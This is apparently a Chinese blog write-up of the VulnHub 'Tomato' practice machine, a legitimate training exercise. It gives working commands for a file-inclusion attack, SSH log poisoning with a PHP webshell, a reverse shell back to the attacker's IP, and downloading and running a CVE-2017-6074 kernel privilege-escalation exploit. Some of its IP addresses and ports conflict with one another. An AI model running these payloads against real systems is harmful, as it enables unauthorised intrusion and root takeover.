VulnHub-Tomato

环境


Kali: 192.168.132.131

靶机:192.168.132.41 靶机地址:https://www.vulnhub.com/entry/tomato-1,557/

一、信息收集


第一步 扫描、发现主机

nmap -sP 192.168.132.0/24

第二步 扫描靶机开放的端口和系统信息

第三步 访问网站,查看网站信

二、漏洞探测


第一步 扫描漏洞

nmap --script=vuln 192.168.132.141

漏洞简介:

Apache HTTP服务器1.x和2.x允许远程攻击者通过部分HTTP请求导致拒绝服务

(守护进程中断),这与2.2.15之前版本中缺少mod_ReqTimeout模块有关

第二步 扫描目录

gobuster dir -u http://192.168.132.141 -w /usr/share/wordlists/dirb/common.txt -t 30

python3 dirmap.py -i http://192.168.132.141 -lcf

dirb http://192.168.132.141 /usr/share/wordlists/dirb/common.txt

第三步 访问目录/antibot_image,存在目录遍历漏洞

http://192.168.132.141/antibot_image/

打开目录

第四步 查找可利用的文件

http://192.168.132.141/antibot_image/antibots/info.php

查看开启功能是否可以利用,查看源码注释

允许远程读取URL文件,但是不允许包含URL文件,可以进行利用

查源码,提示可以传参,存在文件包含漏洞

第五步 利用文件包含漏洞

http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../etc/passwd

查看日志文件

http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log

三、漏洞验证


第一步 利用已知文件包含漏洞,以及开的ssh端口

尝试包含ssh认证日志文件/var/log/auth.log,并利用ssh认证用户名实现命令注入:

(使用之前发现的2211端口是ssh,日志里面发现tomato用户,查看日志信息)

第二步 进行一句话木马进行注入

ssh '<?php system($_GET['cmd']);?>'@192.168.232.187 -p 2211

第三步 验证PHP代码是否注入成功


http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log

&cmd=ls


http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=ifconfig

第四步 开启nc监听

nc -lvvp 4444

第五步 反弹shell

php反弹shell代码:

php -r '$sock=fsockopen("192.168.132.131",4444);exec("/bin/sh -i <&3 2>&3");'

需要进行url编码

http://192.168.132.141/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&cmd=php%20-r%20'%24sock%3dfsockopen(%22192.168.132.131%22%2c3333)%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b'

触发反弹shell

第六步 开启交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

四、提权


第一步 查看系统信息

uname -a
whoami

第二步 下载提权脚本,执行,编译,并开启apache2服务

使用CVE-2017-6074的poc

git clone https://github.com/kkamagui/linux-kernel-exploits.git
cd linux-kernel-exploits/kernel-4.4.0-21-generic/CVE-2017-6074
./compile.sh

第三步 使靶机访问攻击机的网站,下载exp,授予权限,并执行

cd /tmp
wget http://192.168.232.129/CVE-2017-6074
chmod +x CVE-2017-6074
./CVE-2017-6074

第四步 查看flag

cd /root
ls
cat proof.txt

五、总结


这套靶机难易程度一般,使用gobuter进行目录爆破,存在目录遍历漏洞,获得phpinfo信息,存在文件包含漏洞,通过ssh登录失败,将一句话存入日志文件,利用文件包含漏洞,进而达到远程命令执行,反弹shell,利用linux内核漏洞进行提权,获得root权限。在该靶机中我在远程命令执行反弹shell命令处卡住了,死活不能反弹shell,后来通过多篇文章的参考,发现,反弹shell语句后没有添加语句结束符号;。

posted @ 2021-09-23 15:41  纸机  阅读(521)  评论(0编辑  收藏  举报